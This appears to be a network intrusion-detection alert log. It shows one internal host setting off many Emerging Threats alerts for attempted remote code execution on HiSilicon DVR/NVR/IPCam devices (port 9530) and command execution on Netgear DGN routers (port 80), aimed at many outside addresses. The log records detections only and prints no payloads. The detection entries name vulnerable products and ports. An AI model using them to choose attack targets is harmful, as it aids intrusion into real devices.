Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 51.68.192.19

Timestamp:	05/16/24-16:39:16.602122
SID:	2030487
Source Port:	33386
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.253.103.230

Timestamp:	05/16/24-16:38:57.429392
SID:	2030488
Source Port:	48102
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.253.103.230

Timestamp:	05/16/24-16:38:57.429392
SID:	2030487
Source Port:	48102
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 64.205.122.221

Timestamp:	05/16/24-16:38:49.278138
SID:	2029215
Source Port:	51984
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.124.221.92

Timestamp:	05/16/24-16:39:05.702496
SID:	2030488
Source Port:	48354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.124.221.92

Timestamp:	05/16/24-16:39:05.702496
SID:	2030487
Source Port:	48354
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.36.240.37

Timestamp:	05/16/24-16:38:55.196413
SID:	2030487
Source Port:	47512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.36.240.37

Timestamp:	05/16/24-16:38:55.196413
SID:	2030488
Source Port:	47512
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.39.16.194

Timestamp:	05/16/24-16:38:55.192606
SID:	2030487
Source Port:	35054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 17.202.189.141

Timestamp:	05/16/24-16:38:49.277416
SID:	2029215
Source Port:	37404
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.113.67.138

Timestamp:	05/16/24-16:38:59.519407
SID:	2030488
Source Port:	50178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.237.137.237

Timestamp:	05/16/24-16:38:55.210439
SID:	2030488
Source Port:	60768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.113.67.138

Timestamp:	05/16/24-16:38:59.519407
SID:	2030487
Source Port:	50178
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.130.88.43

Timestamp:	05/16/24-16:39:03.256881
SID:	2030487
Source Port:	60654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.119.213.156

Timestamp:	05/16/24-16:39:03.280165
SID:	2030488
Source Port:	35056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.119.213.156

Timestamp:	05/16/24-16:39:03.280165
SID:	2030487
Source Port:	35056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.237.137.237

Timestamp:	05/16/24-16:38:55.210439
SID:	2030487
Source Port:	60768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 223.2.87.165

Timestamp:	05/16/24-16:38:55.176038
SID:	2030488
Source Port:	41180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 223.2.87.165

Timestamp:	05/16/24-16:38:55.176038
SID:	2030487
Source Port:	41180
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.88.16.255

Timestamp:	05/16/24-16:38:55.198254
SID:	2030487
Source Port:	54122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.130.88.43

Timestamp:	05/16/24-16:39:03.256881
SID:	2030488
Source Port:	60654
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.140.67.87

Timestamp:	05/16/24-16:38:53.013566
SID:	2030488
Source Port:	36260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.88.16.255

Timestamp:	05/16/24-16:38:55.198254
SID:	2030488
Source Port:	54122
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 141.201.95.83

Timestamp:	05/16/24-16:39:05.506976
SID:	2029215
Source Port:	36038
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.140.67.87

Timestamp:	05/16/24-16:38:53.013566
SID:	2030487
Source Port:	36260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.2.207.91

Timestamp:	05/16/24-16:38:53.084569
SID:	2030488
Source Port:	33396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.2.207.91

Timestamp:	05/16/24-16:38:53.084569
SID:	2030487
Source Port:	33396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.61.39.176

Timestamp:	05/16/24-16:38:49.306027
SID:	2024916
Source Port:	47404
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.185.85.83

Timestamp:	05/16/24-16:38:59.587419
SID:	2030487
Source Port:	56596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 159.251.63.166

Timestamp:	05/16/24-16:39:02.726911
SID:	2030488
Source Port:	33708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.37.49.44

Timestamp:	05/16/24-16:39:05.678411
SID:	2030488
Source Port:	40276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.212.216.118

Timestamp:	05/16/24-16:38:57.441180
SID:	2030488
Source Port:	58552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.96.190.126

Timestamp:	05/16/24-16:39:05.717244
SID:	2030488
Source Port:	41704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 159.251.63.166

Timestamp:	05/16/24-16:39:02.726911
SID:	2030487
Source Port:	33708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.96.190.126

Timestamp:	05/16/24-16:39:05.717244
SID:	2030487
Source Port:	41704
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.80.206.54

Timestamp:	05/16/24-16:38:57.411400
SID:	2030487
Source Port:	53332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.80.206.54

Timestamp:	05/16/24-16:38:57.411400
SID:	2030488
Source Port:	53332
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 186.212.216.118

Timestamp:	05/16/24-16:38:57.441180
SID:	2030487
Source Port:	58552
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.95.28.119

Timestamp:	05/16/24-16:39:16.614064
SID:	2030488
Source Port:	34718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.185.85.83

Timestamp:	05/16/24-16:38:59.587419
SID:	2030488
Source Port:	56596
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.95.28.119

Timestamp:	05/16/24-16:39:16.614064
SID:	2030487
Source Port:	34718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 207.221.22.112

Timestamp:	05/16/24-16:39:12.304113
SID:	2030488
Source Port:	34612
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 207.221.22.112

Timestamp:	05/16/24-16:39:12.304113
SID:	2030487
Source Port:	34612
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.23.6.209

Timestamp:	05/16/24-16:39:08.041076
SID:	2030488
Source Port:	41856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.23.6.209

Timestamp:	05/16/24-16:39:08.041076
SID:	2030487
Source Port:	41856
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.181.74.243

Timestamp:	05/16/24-16:38:57.304697
SID:	2030487
Source Port:	40638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.181.74.243

Timestamp:	05/16/24-16:38:57.304697
SID:	2030488
Source Port:	40638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.32.91.49

Timestamp:	05/16/24-16:39:14.530243
SID:	2030488
Source Port:	35792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.31.92.181

Timestamp:	05/16/24-16:39:16.598452
SID:	2030487
Source Port:	36798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.31.92.181

Timestamp:	05/16/24-16:39:16.598452
SID:	2030488
Source Port:	36798
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 157.119.58.132

Timestamp:	05/16/24-16:39:16.580801
SID:	2030488
Source Port:	54644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.212.198.171

Timestamp:	05/16/24-16:38:59.609926
SID:	2030487
Source Port:	53586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.212.198.171

Timestamp:	05/16/24-16:38:59.609926
SID:	2030488
Source Port:	53586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.37.49.44

Timestamp:	05/16/24-16:39:05.678411
SID:	2030487
Source Port:	40276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.32.91.49

Timestamp:	05/16/24-16:39:14.530243
SID:	2030487
Source Port:	35792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 157.119.58.132

Timestamp:	05/16/24-16:39:16.580801
SID:	2030487
Source Port:	54644
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.59.205.237

Timestamp:	05/16/24-16:39:14.507644
SID:	2030487
Source Port:	53772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.59.205.237

Timestamp:	05/16/24-16:39:14.507644
SID:	2030488
Source Port:	53772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.32.139.157

Timestamp:	05/16/24-16:38:57.411414
SID:	2030488
Source Port:	57102
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 52.167.19.34

Timestamp:	05/16/24-16:39:12.382866
SID:	2030487
Source Port:	54584
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.74.233.156

Timestamp:	05/16/24-16:38:50.004175
SID:	2030488
Source Port:	51036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.74.233.156

Timestamp:	05/16/24-16:38:50.004175
SID:	2030487
Source Port:	51036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.32.139.157

Timestamp:	05/16/24-16:38:57.411414
SID:	2030487
Source Port:	57102
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.167.19.34

Timestamp:	05/16/24-16:39:12.382866
SID:	2030488
Source Port:	54584
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.243.208.148

Timestamp:	05/16/24-16:39:05.699560
SID:	2030487
Source Port:	54470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 87.167.159.22

Timestamp:	05/16/24-16:39:08.125313
SID:	2030487
Source Port:	51660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.148.5.224

Timestamp:	05/16/24-16:38:55.196494
SID:	2030488
Source Port:	54728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.148.5.224

Timestamp:	05/16/24-16:38:55.196494
SID:	2030487
Source Port:	54728
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.167.159.22

Timestamp:	05/16/24-16:39:08.125313
SID:	2030488
Source Port:	51660
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.243.208.148

Timestamp:	05/16/24-16:39:05.699560
SID:	2030488
Source Port:	54470
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.177.61.33

Timestamp:	05/16/24-16:39:14.492169
SID:	2030487
Source Port:	33898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.177.61.33

Timestamp:	05/16/24-16:39:14.492169
SID:	2030488
Source Port:	33898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 114.143.117.107

Timestamp:	05/16/24-16:38:55.226412
SID:	2030487
Source Port:	44314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 114.143.117.107

Timestamp:	05/16/24-16:38:55.226412
SID:	2030488
Source Port:	44314
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.65.237.135

Timestamp:	05/16/24-16:38:50.004213
SID:	2030488
Source Port:	33708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.65.237.135

Timestamp:	05/16/24-16:38:50.004213
SID:	2030487
Source Port:	33708
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.255.55.171

Timestamp:	05/16/24-16:38:55.176120
SID:	2030488
Source Port:	58986
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.255.55.171

Timestamp:	05/16/24-16:38:55.176120
SID:	2030487
Source Port:	58986
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 67.214.84.254

Timestamp:	05/16/24-16:39:08.127975
SID:	2030488
Source Port:	46630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 57.149.215.70

Timestamp:	05/16/24-16:39:09.591889
SID:	2029215
Source Port:	46886
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 67.214.84.254

Timestamp:	05/16/24-16:39:08.127975
SID:	2030487
Source Port:	46630
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.247.209.138

Timestamp:	05/16/24-16:39:16.582512
SID:	2030487
Source Port:	36188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 17.252.234.203

Timestamp:	05/16/24-16:38:57.409029
SID:	2030488
Source Port:	57172
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.247.209.138

Timestamp:	05/16/24-16:39:16.582512
SID:	2030488
Source Port:	36188
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 17.252.234.203

Timestamp:	05/16/24-16:38:57.409029
SID:	2030487
Source Port:	57172
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.59.138.51

Timestamp:	05/16/24-16:39:08.148299
SID:	2030488
Source Port:	48036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.184.37.29

Timestamp:	05/16/24-16:38:55.176105
SID:	2030488
Source Port:	53112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.59.138.51

Timestamp:	05/16/24-16:39:08.148299
SID:	2030487
Source Port:	48036
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.184.37.29

Timestamp:	05/16/24-16:38:55.176105
SID:	2030487
Source Port:	53112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.56.213.5

Timestamp:	05/16/24-16:38:57.451882
SID:	2030488
Source Port:	37370
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.56.213.5

Timestamp:	05/16/24-16:38:57.451882
SID:	2030487
Source Port:	37370
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.84.37.181

Timestamp:	05/16/24-16:39:03.275985
SID:	2030487
Source Port:	55474
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.221.119.53

Timestamp:	05/16/24-16:38:59.559323
SID:	2030487
Source Port:	37928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.221.119.53

Timestamp:	05/16/24-16:38:59.559323
SID:	2030488
Source Port:	37928
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.126.104.194

Timestamp:	05/16/24-16:38:50.047743
SID:	2030487
Source Port:	48200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.126.104.194

Timestamp:	05/16/24-16:38:50.047743
SID:	2030488
Source Port:	48200
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 84.174.50.35

Timestamp:	05/16/24-16:38:53.013575
SID:	2030487
Source Port:	47028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.174.50.35

Timestamp:	05/16/24-16:38:53.013575
SID:	2030488
Source Port:	47028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.75.248.38

Timestamp:	05/16/24-16:38:59.590347
SID:	2030488
